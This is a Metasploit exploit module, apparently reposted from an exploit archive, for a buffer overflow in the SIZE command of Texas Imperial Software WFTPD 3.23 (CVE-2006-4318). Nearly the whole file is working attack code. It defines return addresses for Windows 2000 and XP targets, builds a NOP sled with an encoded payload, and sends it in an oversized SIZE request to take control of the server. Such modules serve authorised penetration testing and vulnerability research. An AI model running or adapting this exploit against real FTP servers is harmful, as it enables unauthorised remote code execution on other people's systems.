Texas Imperial Software WFTPD 3.23 - SIZE Overflow (Metasploit)

##
# $Id: wftpd_size.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Texas Imperial Software WFTPD 3.23 SIZE Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the SIZE verb in
				Texas Imperial's Software WFTPD 3.23.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					[ 'CVE', '2006-4318' ],
					[ 'OSVDB', '28134' ],
					[ 'BID', '19617' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform' 		  => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro SP4 English',			{ 'Ret' => 0x7c2d3028 } ],
					[ 'Windows XP Pro SP1 English',				{ 'Ret' => 0x77dd1595 } ],
					[ 'Windows XP Pro SP2 English',           { 'Ret' => 0x77d498ec } ],
				],
			'DisclosureDate' => 'Aug 23 2006',
			'DefaultTarget' => 0))
	end

	def exploit
		connect_login

		sploit =  "/" + make_nops(525 - payload.encoded.length)
		sploit << payload.encoded + [target.ret].pack('V')

		print_status("Trying target #{target.name}...")

		send_cmd(['SIZE', sploit], false)
		select(nil,nil,nil,2)

		handler
		disconnect
	end

end